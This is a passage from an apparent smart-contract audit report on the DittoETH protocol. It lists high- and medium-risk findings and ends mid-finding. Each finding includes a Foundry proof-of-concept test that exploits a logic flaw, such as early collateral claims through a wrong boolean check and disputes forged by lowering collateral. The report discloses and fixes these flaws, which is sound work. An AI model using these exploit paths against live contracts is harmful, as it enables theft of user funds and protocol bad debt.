        assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
        // 2000 dusd minted for 8000 ether (400% at price of 1 ether) 
        // instead of 12000 ether (400% at price of 1.5 ether)
        assertEq(short.collateral, 0.01 ether + 4*2000 ether);

        // position is liquidatable
        assertGt( diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1.5 ether)));
    }

Recommended Mitigation Steps

Consider using the initialCR of the asset if the short order’s CR is lesser and consider using the current oracle price instead of the short order’s price when it was created.

It is also possible that the ETH calculated exceeds the ETH the user provided when he created the Short Order. The sponsor can also consider sourcing more ETH from the user’s escrowed ETH to enable him to cancel when this occurs.

LibOrders.sol#L911-L938

-                   uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(LibOrders.convertCR(shortOrder.shortOrderCR));
+                   uint16 cr = shortOrder.shortOrderCR < s.asset[asset].initialCR ? s.asset[asset].initialCR : shortOrder.shortOrderCR;
+                   uint80 price = LibOracle.getSavedOrSpotOraclePrice(asset);
+                   uint88 collateralDiff = price.mulU88(debtDiff).mulU88(LibOrders.convertCR(cr));

                    LibShortRecord.fillShortRecord(
                        asset,
                        shorter,
                        shortRecordId,
                        SR.FullyFilled,
                        collateralDiff,
                        debtDiff,
                        Asset.ercDebtRate,
                        Vault.dethYieldRate
                    );

                    Vault.dethCollateral += collateralDiff;
                    Asset.dethCollateral += collateralDiff;
                    Asset.ercDebt += debtDiff;

                    // @dev update the eth refund amount
+                   if(eth < collateralDiff) revert Errors.InsufficientCollateral();
                    eth -= collateralDiff;

ditto-eth (DittoETH) confirmed

[H-04] Partially filled Short Records created without a short order cannot be liquidated and exited

Submitted by nonseodion, also found by 0xbepresent

When a Short Order is being created it tries to fill its Short Record. If it fills the Short Record, the Short Record is given a filled status (SR.FullyFilled) and the Short Order isn’t added to the market. But if it doesn’t fill the Short Record, it is given a partially filled status (SR.PartiallyFilled) and the remaining part of the Short Order is added to the market.

The issue is the current implementation doesn’t add the Short Order to the market every time the Short Record is partially filled. It does this in the sellMatchAlgo() function loop when it tries to match bids.

LibOrders.sol#L591-L597

❌                       matchIncomingSell(asset, incomingAsk, matchTotal);
❌                       if (incomingAsk.ercAmount.mul(incomingAsk.price) >= minAskEth) {
                            addSellOrder(incomingAsk, asset, orderHintArray);
                        }
                        s.bids[asset][C.HEAD].nextId = C.TAIL;
                        return;

When the Short Order is being matched in the sellMatchAlgo() loop, it encounters the check in the if statement above. If the value of the erc remaining in the short is less than minAskEth it is not added to the market. The Short Record is already given the SR.PartiallyFilled status before the check.

When this happens, the Short Record is created with no associated Short Order. This prevents the user from exiting the Short Record and a liquidator from liquidating the position if it ever becomes liquidatable. These actions revert with InvalidShortOrder() error in the following portion of the code.

Exiting

When a user tries to exit using any of the exit functions, he has to pass a Short Order id.

ExitShortFacet.sol#L41

    function exitShortWallet(
     address asset, 
     uint8 id, 
     uint88 buybackAmount, 
❌   uint16 shortOrderId
    )

ExitShortFacet.sol#L87

    function exitShortErcEscrowed(
      address asset, 
      uint8 id, uint88 
      buybackAmount, 
❌    uint16 shortOrderId
    )

ExitShortFacet.sol#L142

     function exitShort(
        address asset,
        uint8 id,
        uint88 buybackAmount,
        uint80 price,
        uint16[] memory shortHintArray,
❌       uint16 shortOrderId
    )

Since there is no valid Short Order Id, if he passes any value it reverts when the user tries to exit. Because the id needs to be associated with the shortRecord and still be owned by him to pass the checks. exitShort() function calls checkCancelShortOrder() which will revert in the check below.

LibSRUtil.sol#L57

    if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();

For exitShortWallet() and exitShortErcEscrowed(), they revert in the check below when they call checkShortMinErc().

LibSRUtil.sol#L84

    if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();

Liquidation

The primary and secondary liquidation calls require a Short Order Id.

Primary Liquidation call:

PrimaryLiquidationFacet.sol#L47

    function liquidate(
      address asset, 
      address shorter, 
      uint8 id, uint16[] memory shortHintArray, 
❌    uint16 shortOrderId
)

Secondary Liquidation call:

SecondaryLiquidationFacet.sol#L39

  function liquidateSecondary(
    address asset, 
❌   MTypes.BatchLiquidation[] memory batches, 
    uint88 liquidateAmount, 
    bool isWallet
)

BatchLiquidation struct:

    struct BatchLiquidation {
        address shorter;
        uint8 shortId;
❌      uint16 shortOrderId;
    }

The liquidate() function reverts in its call to checkCancelShortOrder(). The check below causes the revert, because the id passed by the liquidator needs to be associated with the Short Record and still be owned by the user being liquidated to pass the check.

LibSRUtil.sol#L57

if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();

The liquidateSecondary() function uses a loop to complete batch liquidation. In the loop, it first does the check below on each batch element.

SecondaryLiquidationFacet.sol#L69-L80

            bool shortUnderMin;
            if (m.isPartialFill) {
                // Check attached shortOrder ercAmount left since SR will be fully liquidated
                STypes.Order storage shortOrder = s.shorts[m.asset][m.shortOrderId];
❌              shortUnderMin = shortOrder.ercAmount < minShortErc;
❌              if (shortUnderMin) {
                    // Skip instead of reverting for invalid shortOrder
❌                 if (shortOrder.shortRecordId != m.short.id || shortOrder.addr != m.shorter) {
                        continue;
                    }
                }
            }

The loop skips liquidating if the Short Record’s debt is below the minimum i.e. shortUnderMin is true for the passed shortOrder and shortOrder.shortRecordId != m.short.id || shortOrder.addr != m.shorter evaluates to true since the short order isn’t attached to the Short Record.

It reverts in the check below. liquidateAmount is the amount the liquidator wants to liquidate and liquidateAmountLeft is the amount not liquidated. If only the bad Short Record is in the batch, it reverts. If other Short Records in the batch get liquidated it doesn’t revert.

SecondaryLiquidationFacet.sol#L124

        if (liquidateAmount == liquidateAmountLeft) revert Errors.SecondaryLiquidationNoValidShorts();

Note: Secondary Liquidation can still be done in some scenarios check the POC section for more details.

Apart from the DOS effects above, the issue also lets a user create a Short Record with an erc amount below the minShortErc. Check the POC.

Impact

The issue above has the following effects:

Users cannot exit a Short Record Position.
Primary Liquidation cannot be done on the Short Record.
Secondary Liquidation may not be possible on the Short Record.
Allows a user to create a Short Record below minShortErc.

Proof of Concept

The tests can be run in the Shorts.t.sol file.

The POC below consists of 5 tests:

test_FailExit(): Shows how exiting a Short Record can fail.
test_CreateShortLessThanMin(): Shows how a Short Record with less erc debt than the minimum can be created.
test_FailPrimaryLiquidation(): Shows how primary liquidation fails.
test_FailSecondaryLiquidation(): Shows how Secondary liquidation fails.
test_PassSecondaryLiquidation(): Shows how Secondary Liquidation can pass and exposes another bug.

It also contains a utility function for setting up the Short Record, createPartiallyFilledSR.

Add this import statement to the top of the Shorts.t.sol file:

import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";

    // util function and errors used by test
    error InvalidShortOrder();
    error SecondaryLiquidationNoValidShorts();
    function createPartiallyFilledSR(uint amount) public 
      returns (STypes.ShortRecord memory short)
    {
        // get minimum ask
        uint minAskEth = diamond.getAssetNormalizedStruct(asset).minAskEth;

        // The bid is opened with an amount that allows short to be 1 less than
        // the minAskEth.
        fundLimitBidOpt(1 ether, uint88(amount - minAskEth + 1), receiver);
        // open short
        fundLimitShortOpt(1 ether,uint88(amount), sender);
        // get the ShortRecord created
        short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertTrue(short.status == SR.PartialFill);

        // no short orders
        STypes.Order[] memory shortOrders = getShorts();
        assertEq(shortOrders.length, 0);

        return short;
    }

    function test_FailExit() public {
        // create partially filled SR with no short order
        createPartiallyFilledSR(3000 ether);
        // give sender assets to exit short
        deal(asset, sender, 1000 ether);
        // cannot exit the SR
        vm.expectRevert(InvalidShortOrder.selector);
        exitShortWallet(C.SHORT_STARTING_ID, 1000 ether, sender);
    }

    function test_CreateShortLessThanMin() public {
        // create partially filled SR with no short order
        STypes.ShortRecord memory short = createPartiallyFilledSR(2000 ether);
        uint minShortErc = diamond.getAssetNormalizedStruct(asset).minShortErc;
        // created SR has less than minShortErc 
        assertGt(minShortErc, short.ercDebt);
    }

    function test_FailPrimaryLiquidation() public {
        // create partially filled SR with no short order
        createPartiallyFilledSR(3000 ether);

        // change price to let short record be liquidatable
        uint256 newPrice = 1.5 ether;
        skip(15 minutes);
        ethAggregator.setRoundData(
            92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
        );
        fundLimitAskOpt(1.5 ether, 2000 ether, receiver); // add ask to allow liquidation have a sell
        // liquidation reverts 
        vm.expectRevert(InvalidShortOrder.selector);
        diamond.liquidate(asset, sender, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);
    }

    function test_FailSecondaryLiquidation() public {
        // create partially filled SR with no short order
        STypes.ShortRecord memory short = createPartiallyFilledSR(3000 ether);
        // change price to let short record be liquidatable
        uint256 newPrice = 1.5 ether;
        skip(15 minutes);
        ethAggregator.setRoundData(
            92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
        );

        // give receiver assets to complete liquidation
        deal(asset, receiver, short.ercDebt);
        // create batch
        MTypes.BatchLiquidation[] memory batch = new MTypes.BatchLiquidation[](1);
        batch[0] = MTypes.BatchLiquidation(sender, C.SHORT_STARTING_ID, 0);
        vm.prank(receiver);
        // cannot liquidate
        vm.expectRevert(SecondaryLiquidationNoValidShorts.selector);
        diamond.liquidateSecondary(asset, batch, short.ercDebt, true); 
    }

    // This shows that secondary liquidation can still occur
    function test_PassSecondaryLiquidation() public {
        // create partially filled SR with no short order
        STypes.ShortRecord memory short = createPartiallyFilledSR(3000 ether);
        // change price to let short record be liquidatable
        uint256 newPrice = 1.5 ether;
        skip(15 minutes);
        ethAggregator.setRoundData(
            92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
        );

        // create another short for sender
        // the id of this short can be used for liquidation
        fundLimitShortOpt(1 ether, 3000 ether, sender);
        STypes.Order[] memory shortOrders = getShorts();
        shortOrders = getShorts();

        // give receiver assets to complete liquidation
        deal(asset, receiver, short.ercDebt);
        // create batch
        MTypes.BatchLiquidation[] memory batch = new MTypes.BatchLiquidation[](1);
        batch[0] = MTypes.BatchLiquidation(sender, C.SHORT_STARTING_ID, shortOrders[0].id);
        vm.prank(receiver);
        // successful liquidation
        diamond.liquidateSecondary(asset, batch, short.ercDebt, true); 
    }

Recommended Mitigation Steps

Consider setting ercAmount of the incomingAsk to zero in the sellMatchAlgo() function. This will allow the matchIncomingSell() call to set the Short Record to a Fully Filled state.

LibOrders.sol#L590-L598

                    if (startingId == C.TAIL) {
-                        matchIncomingSell(asset, incomingAsk, matchTotal);

                        if (incomingAsk.ercAmount.mul(incomingAsk.price) >= minAskEth) {
                            addSellOrder(incomingAsk, asset, orderHintArray);
                        }
+                       incomingAsk.ercAmount = 0;
+                       matchIncomingSell(asset, incomingAsk, matchTotal);
                        s.bids[asset][C.HEAD].nextId = C.TAIL;
                        return;
                    }

Assessed type

DoS

ditto-eth (DittoETH) confirmed and commented:

Great find, POC very helpful.

[H-05] Flawed if check causes inaccurate tracking of the protocol’s `ercDebt` and collateral

Submitted by samuraii77, also found by samuraii77 and serial-coder

A flawed if check using && instead of || in RedemptionFacet::claimRemainingCollateral() leads to a break of one of the core protocol invariants. The total collateral and ercDebt of an asset should always equal the total collateral and ercDebt of all shortRecords combined. However, this will not be the case if the scenario explained below takes place. This results in the protocol holding inaccurate values of their ercDebt and collateral which are extremely important values used for very important calculations across the entire protocol.

Proof of Concept

Imagine the following scenario:

Shorter has a few shortRecords.
Redeemer proposes a redemption for one of the shortRecords owned by shorter.
The timeToDispute passes.
Redeemer2 proposes redemption for another one of the shortRecords owned by shorter.
Even though timeToDispute has not passed for redeemer2, shorter is able to call RedemptionFacet::claimCollateral() successfully because of a flawed if check.

if (claimProposal.shorter != msg.sender && claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();

5.1 Shorter calls RedemptionFacet::claimRemainingCollateral() with the address of redeemer and with the ID of the shortRecord proposed by redeemer2.
5.2 redeemerAssetUser in the function is now redeemer.
5.3 The check for time to dispute passes as enough time has passed for redeemer’s timeToDispute.
5.4 claimProposal is the decodedProposalData of redeemer.
5.5 The if check doesn’t lead to a revert because it is flawed, claimProposal.shorter is == to msg.sender as he is the owner of the initial shortRecord; however, the claimProposal.shortId is not equal to the given ID since claimProposal.shortId is based on the initial redeemer proposal and the given ID is the ID for the shortRecord proposed by redeemer2 which makes the if check (true && false) resulting in false and the code continues.
5.6 _claimRemainingCollateral() is called with the shorter address (msg.sender) and shortId equal to the given ID (ID of the shortRecord proposed by redeemer2).
5.7 Check successfully passes and shorter claims collateral and deletes shortRecord without having to wait the timeToDispute.
As the shortRecord is deleted before timeToDispute is over, RedemptionFacet::disputeRedemption() is still callable.
Disputer successfully disputes the already deleted shortRecord.
RedemptionFacet::disputeRedemption() gives back the collateral and ercDebt to the already deleted shortRecord.
It also increments the asset’s collateral and ercDebt.

for (uint256 i = incorrectIndex; i < decodedProposalData.length; i++) {
                currentProposal = decodedProposalData[i];

                STypes.ShortRecord storage currentSR = s.shortRecords[d.asset][currentProposal.shorter][currentProposal.shortId];
                currentSR.collateral += currentProposal.colRedeemed;
                currentSR.ercDebt += currentProposal.ercDebtRedeemed;

                d.incorrectCollateral += currentProposal.colRedeemed;
                d.incorrectErcDebt += currentProposal.ercDebtRedeemed;
            }

            s.vault[Asset.vault].dethCollateral += d.incorrectCollateral;
            Asset.dethCollateral += d.incorrectCollateral;
            Asset.ercDebt += d.incorrectErcDebt;

Since the shortRecord is deleted, it makes the asset’s ercDebt and collateral inaccurate as it includes the ercDebt and collateral of a non-existent shortRecord.
Such inaccuracy is detrimental to the protocol as inaccurate values for the ercDebt and collateral will be used across the whole protocol for extremely important functions and calculations.

Add the following POC function to Redemption.t.sol:

    function testRuinsDebtAndCollateralTracking() public {
        // Set up all of the users
        address shorter = sender;
        address redeemer = receiver;
        address redeemer2 = makeAddr('redeemer2');
        depositEth(redeemer2, INITIAL_ETH_AMOUNT);
        address disputer = makeAddr('disputer');

        for (uint256 i = 0; i < 6; i++) {
            if (i % 2 == 0) {
                fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, redeemer);
                fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, shorter);
            } else {
                fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, redeemer2);
                fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, shorter);
            }
        }

        _setETH(50000 ether);
        fundLimitBidOpt(DEFAULT_PRICE -  0.000000001 ether, DEFAULT_AMOUNT, redeemer2);
        fundLimitShortOpt(DEFAULT_PRICE -  0.000000001 ether, DEFAULT_AMOUNT, shorter);

        MTypes.ProposalInput[] memory redeemerProposalInputs = new MTypes.ProposalInput[](1);
        redeemerProposalInputs[0] = MTypes.ProposalInput({shorter: shorter, shortId: C.SHORT_STARTING_ID, shortOrderId: 0});

        _setETH(1000 ether);
        vm.prank(redeemer);
        diamond.proposeRedemption(asset, redeemerProposalInputs, DEF_REDEMPTION_AMOUNT, MAX_REDEMPTION_FEE); // Redeemer creates a proposal
        skip(diamond.getAssetUserStruct(asset, redeemer).timeToDispute); // Skip the time to dispute for the first proposal (5401 seconds)

        MTypes.ProposalInput[] memory redeemer2ProposalInputs = new MTypes.ProposalInput[](1);
        redeemer2ProposalInputs[0] = MTypes.ProposalInput({shorter: shorter, shortId: C.SHORT_STARTING_ID + 1, shortOrderId: 0});
        
        vm.prank(redeemer2);
        diamond.proposeRedemption(asset, redeemer2ProposalInputs, DEF_REDEMPTION_AMOUNT, MAX_REDEMPTION_FEE); // Redeemer2 creates a proposal

        assert(diamond.getOffsetTime() < diamond.getAssetUserStruct(asset, redeemer2).timeToDispute); // Not enough time has passed in order to redeem the second proposal (5402 < 10802)

        vm.expectRevert(Errors.TimeToDisputeHasNotElapsed.selector);
        vm.prank(redeemer2);
        diamond.claimRedemption(asset); // This correctly reverts as 5401 seconds have not passed and bug is non-existent in claimRedemption()

        STypes.ShortRecord[] memory shortRecordsBefore = diamond.getShortRecords(asset, shorter); // Get shortRecords before the deletion

        vm.prank(shorter);
        diamond.claimRemainingCollateral(asset, redeemer, 0, C.SHORT_STARTING_ID + 1); // Claiming collateral without waiting (this is the bug)

        STypes.ShortRecord[] memory shortRecordsAfter = diamond.getShortRecords(asset, shorter); // Get shortRecords after the deletion

        uint256 totalShortRecordsCollateralBefore;
        uint256 totalShortRecordsDebtBefore;

        for (uint256 i = 0; i < shortRecordsAfter.length; i++) { // Get the total collateral and total debt for the short records
            totalShortRecordsCollateralBefore += shortRecordsAfter[i].collateral;
            totalShortRecordsDebtBefore += shortRecordsAfter[i].ercDebt;
        }

        // Compare the total collateral and total debt based on the short records vs. based on the asset struct (they are equal as they should be)
        STypes.Asset memory assetStruct = diamond.getAssetStruct(asset);
        assertEq(totalShortRecordsCollateralBefore, assetStruct.dethCollateral); // 32500000000000000000
        assertEq(totalShortRecordsDebtBefore, assetStruct.ercDebt); // 20000000000000000000000

        assertEq(shortRecordsAfter.length, shortRecordsBefore.length - 1); // Deletion happened

        vm.prank(disputer);
        diamond.disputeRedemption(asset, redeemer2, 0, shorter, C.SHORT_STARTING_ID + 6); // Dispute with a shortRecord with a lower CR

        STypes.ShortRecord[] memory shortRecordsFinal = diamond.getShortRecords(asset, shorter); // Current short records

        STypes.Asset memory currentAssetStruct = diamond.getAssetStruct(asset); // Current asset struct

        uint256 currentTotalShortRecordsCollateral;
        uint256 currentTotalShortRecordsDebt;

        for (uint256 i = 0; i < shortRecordsFinal.length; i++) { // Get the total collateral and total debt for the short records
            currentTotalShortRecordsCollateral += shortRecordsFinal[i].collateral;
            currentTotalShortRecordsDebt += shortRecordsFinal[i].ercDebt;
        }

        assert(currentTotalShortRecordsDebt != currentAssetStruct.ercDebt); // 25000000000000000000000 30000000000000000000000
        assert(currentTotalShortRecordsCollateral != currentAssetStruct.dethCollateral); // 39999970000000000000 44999969999999999999
    }

Recommended Mitigation Steps

Use || instead of &&

+ if (claimProposal.shorter != msg.sender || claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();
- if (claimProposal.shorter != msg.sender && claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();

Assessed type

Invalid Validation

ditto-eth (DittoETH) confirmed

[H-06] Closing a SR during a wrong redemption proposal leads to loss of funds

Submitted by Cosine, also found by klau5

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/RedemptionFacet.sol#L267-L268

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/AppStorage.sol#L92

Impact

When a user creates a redemption proposal with the proposeRedemption function the user has to provide a list of the short records (SRs) with the lowest collateral ratios (CR) in the system ascending.

To prevent users from creating proposals with a wrong SR list, anyone is allowed to dispute proposals with the disputeRedemption function. This function allows the disputer to prove that a SR with a lower CR was not included in the proposal and for doing so the disputer receives a penalty fee from the proposer.

If between these flows of creating a wrong proposal and disputing it a SR is closed (liquidation, exiting, transfer, …) the collateral is added to the closed SR and can not be recovered.

Proof of Concept

The following POC can be implemented in the Redemption.t.sol test file:

function test_dispute_on_non_existing_sr() public {
    // setup shorts
    makeShorts({singleShorter: true});

    _setETH(1000 ether);
    skip(1 hours);

    STypes.ShortRecord memory sr1 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID);
    STypes.ShortRecord memory sr2 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+1);
    STypes.ShortRecord memory sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);

    uint256 cr1 = diamond.getCollateralRatio(asset, sr1);
    uint256 cr2 = diamond.getCollateralRatio(asset, sr2);
    uint256 cr3 = diamond.getCollateralRatio(asset, sr3);

    // CRs are increasing
    assertGt(cr2, cr1);
    assertGt(cr3, cr2);

    // user creates a wrong proposal
    MTypes.ProposalInput[] memory proposalInputs =
        makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID + 1, shortId2: C.SHORT_STARTING_ID + 2});

    address redeemer = receiver;
    vm.prank(redeemer);
    diamond.proposeRedemption(asset, proposalInputs, DEFAULT_AMOUNT * 3 / 2, MAX_REDEMPTION_FEE);

    // on of the SRs in the proposal is closed
    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, extra);
    exitShort(C.SHORT_STARTING_ID + 2, DEFAULT_AMOUNT / 2, DEFAULT_PRICE, sender);

    // SR is now closed
    sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);

    assertEq(uint(sr3.status), uint(SR.Closed));

    uint88 collateralBefore = sr3.collateral;

    // another user disputes the wrong proposal
    address disputer = extra;
    vm.prank(disputer);
    diamond.disputeRedemption({
        asset: asset,
        redeemer: redeemer,
        incorrectIndex: 0,
        disputeShorter: sender,
        disputeShortId: C.SHORT_STARTING_ID
    });

    // SR is still closed and collateral increased
    sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);
    assertEq(uint(sr3.status), uint(SR.Closed));
    assertGt(sr3.collateral, collateralBefore);
}

Recommended Mitigation Steps

Opening up the SR again if it’s closed would be a solution, but it could probably be misused to avoid liquidations. Therefore, carefully think about the implications of changes in this context.

Assessed type

Context

ditto-eth (DittoETH) confirmed

[H-07] Valid redemption proposals can be disputed by decreasing collateral

Submitted by Cosine, also found by ilchovski and klau5

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/RedemptionFacet.sol#L259

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/ShortRecordFacet.sol#L81-L104

Impact

To avoid malicious disputers the system invented a DISPUTE_REDEMPTION_BUFFER that should prevent users from disputing with a SR that was created/modified <= 1 hour before the redemption proposal was created:

if (disputeCR < incorrectProposal.CR && disputeSR.updatedAt + C.DISPUTE_REDEMPTION_BUFFER <= redeemerAssetUser.timeProposed)

But not every function that modifies a SR updates the updatedAt param. This enables the possibility for an attacker to dispute a valid redemption proposal by modifying a SR after the proposal so that the proposer does not have the chance to create a correct proposal.

The decreaseCollateral function does not update the updatedAt param and therefore, the following attack path is enabled:

initialCR of the given asset is set to 1.7 (as in the docs) and the max redemption CR is 2 (constant).
User creates a valid redemption proposal where the SRs have a CR above the initialCR.
The attacker owns a SR with a CR above the ones in the proposal.
The attacker decreases the CR of the own SR to the initialCR, disputes the redemption to receive the penalty fee, and increases the CR back up in one transaction.

Proof of Concept

The following POC can be implemented in the Redemption.t.sol test file:

function test_decrease_cr_dispute_attack() public {
    // add import {O} from "contracts/libraries/DataTypes.sol"; to the imports to run this test

    // create three SRs with increasing CRs above initialCR

    // set initial CR to 1.7 as in the docs
    vm.startPrank(owner);
    diamond.setInitialCR(asset, 170);

    uint80 price = diamond.getOraclePriceT(asset);

    fundLimitBidOpt(price, DEFAULT_AMOUNT, receiver);

    depositEth(sender, price.mulU88(DEFAULT_AMOUNT).mulU88(100e18));

    uint16[] memory shortHintArray = setShortHintArray();
    MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, price, DEFAULT_AMOUNT, orderHintArray, shortHintArray, 70);

    fundLimitBidOpt(price + 1, DEFAULT_AMOUNT, receiver);

    shortHintArray = setShortHintArray();
    orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, price, DEFAULT_AMOUNT, orderHintArray, shortHintArray, 80);

    fundLimitBidOpt(price + 2, DEFAULT_AMOUNT, receiver);

    shortHintArray = setShortHintArray();
    orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, price, DEFAULT_AMOUNT, orderHintArray, shortHintArray, 100);

    skip(1 hours);

    STypes.ShortRecord memory sr1 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID);
    STypes.ShortRecord memory sr2 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+1);
    STypes.ShortRecord memory sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);

    uint256 cr1 = diamond.getCollateralRatio(asset, sr1);
    uint256 cr2 = diamond.getCollateralRatio(asset, sr2);
    uint256 cr3 = diamond.getCollateralRatio(asset, sr3);

    // CRs are increasing
    assertGt(cr2, cr1);
    assertGt(cr3, cr2);

    // user proposes a redemption
    uint88 _redemptionAmounts = DEFAULT_AMOUNT * 2;
    uint88 initialErcEscrowed = DEFAULT_AMOUNT;

    MTypes.ProposalInput[] memory proposalInputs =
        makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID, shortId2: C.SHORT_STARTING_ID + 1});

    address redeemer = receiver;
    vm.prank(redeemer);
    diamond.proposeRedemption(asset, proposalInputs, _redemptionAmounts, MAX_REDEMPTION_FEE);

    // attacker decreases collateral of a SR with a CR above the ones in the proposal so that they fall below the CR of the SRs in the proposal
    uint32 updatedAtBefore = getShortRecord(sender, C.SHORT_STARTING_ID + 2).updatedAt;

    vm.prank(sender);
    diamond.decreaseCollateral(asset, C.SHORT_STARTING_ID + 2, 0.3e18);

    uint32 updatedAtAfter = getShortRecord(sender, C.SHORT_STARTING_ID + 2).updatedAt;

    // updatedAt param is not updated when decreasing collateral
    assertEq(updatedAtBefore, updatedAtAfter);

    // attacker successfully disputes the redemption proposal
    address disputer = extra;
    vm.prank(disputer);
    diamond.disputeRedemption({
        asset: asset,
        redeemer: redeemer,
        incorrectIndex: 1,
        disputeShorter: sender,
        disputeShortId: C.SHORT_STARTING_ID + 2
    });
}

Recommended Mitigation Steps

Update the updatedAt param when decreasing collateral, or do now allow redemption proposals of SRs above the initialCR (as decreasing below that is not possible).

Assessed type

Context

ditto-eth (DittoETH) confirmed

Medium Risk Findings (9)

[M-01] The `shortOrder` verification bug on the `RedemptionFacet::proposeRedemption()` allows an attacker to leave a small `shortOrder` on the order book, leading to the protocol’s bad debt

Submitted by serial-coder, also found by unix515

The BidOrdersFacet::bidMatchAlgo() allows a shortOrder to be partially matched and leave its ercAmount * price < minAskEth due to the DUST_FACTOR constant (as long as its corresponding shortRecord is maintaining enough ercDebt + shortOrder’s ercAmount to keep the position >= the minShortErc threshold).

The redemption process enables redeemers to redeem their ercEscrowed for ethCollateral on target shortRecords. If a shortRecord was partially filled, the RedemptionFacet::proposeRedemption() must guarantee that the corresponding shortOrder maintains the ercAmount >= minShortErc. In other words, if the shortOrder’s ercAmount is less than the minShortErc threshold, the shortOrder must be canceled from the order book. Otherwise, the shortRecord position will be less than the minShortErc threshold when the order is matched again.

Subsequently, the small shortRecord (short position) will not incentivize liquidators to liquidate it even if it is liquidable, leaving bad debt to the protocol.

I discovered that the proposeRedemption() improperly verifies the proposer (redeemer)‘s inputted shortOrderId param, allowing an attacker to specify the shortOrderId param to another shortOrder’s id that does not correspond to the target redeeming shortRecord.

The vulnerability can bypass the minShortErc threshold verification process on the shortOrder corresponding to the processing shortRecord, eventually allowing an attacker to leave a small shortRecord position that disincentivizes liquidators from liquidating the position. Furthermore, the small shortRecord also disables the redemption mechanism from redeeming it for ethCollateral.

Proof of Concept

While processing the proposalInput param, the proposeRedemption() will load the shortOrder from storage according to the attacker-inputted shortOrderId param (i.e., p.shortOrderId).

Suppose that the attacker wants to leave their small shortRecord position to disincentivize liquidators from liquidating it (as well as disabling the redemption mechanism from redeeming it for ethCollateral). They can place their partially-filled shortRecord that has the corresponding shortOrder.ercAmount < minShortErc to be redeemed via a Sybil account.

To bypass the minShortErc threshold verification process from canceling their small shortOrder, the attacker must specify the p.shortOrderId param to another shortOrder’s id with ercAmount >= minShortErc. The manipulated p.shortOrderId param can bypass the verification process because if the loaded shortOrder.ercAmount >= minShortErc, the proposeRedemption() will not proceed to verify the validity of the shortOrder.

Hence, the attacker can target their shortRecord to be redeemed and leave its corresponding shortOrder with ercAmount < minShortErc to keep alive on the order book. Once their small shortOrder is matched again, it will leave the shortRecord position less than the minShortErc threshold, disincentivizing liquidators from liquidating it.

Furthermore, the small shortRecord (i.e., shortRecord.ercDebt < minShortErc) also disables the redemption mechanism from redeeming it for ethCollateral.

    function proposeRedemption(
        address asset,
        MTypes.ProposalInput[] calldata proposalInput,
        uint88 redemptionAmount,
        uint88 maxRedemptionFee
    ) external isNotFrozen(asset) nonReentrant {
        ...

        for (uint8 i = 0; i < proposalInput.length; i++) {
            p.shorter = proposalInput[i].shorter;
            p.shortId = proposalInput[i].shortId;
            p.shortOrderId = proposalInput[i].shortOrderId;
            STypes.ShortRecord storage currentSR = s.shortRecords[p.asset][p.shorter][p.shortId];

            ...

@1          STypes.Order storage shortOrder = s.shorts[asset][p.shortOrderId]; //@audit -- The shortOrder is loaded from storage according to the attacker's p.shortOrderId param
@2          if (currentSR.status == SR.PartialFill && shortOrder.ercAmount < minShortErc) { //@audit -- The attacker can leave their target partially-filled shortOrder (corresponding to the redeeming shortRecord) with ercAmount < minShortErc alive by specifying the p.shortOrderId param to another shortOrder's id with ercAmount >= minShortErc
@3              if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder(); //@audit -- The root cause is that the proposeRedemption() verifies the loaded shortOrder against the legitimate shortRecordId and shorter params only after the condition in @2 was met
                LibOrders.cancelShort(asset, p.shortOrderId);
            }

            ...
        }

        ...
    }

Recommended Mitigation Steps

To fix the vulnerability, move out the shortOrder verification check and execute it immediately after loading the shortOrder from storage.

    function proposeRedemption(
        address asset,
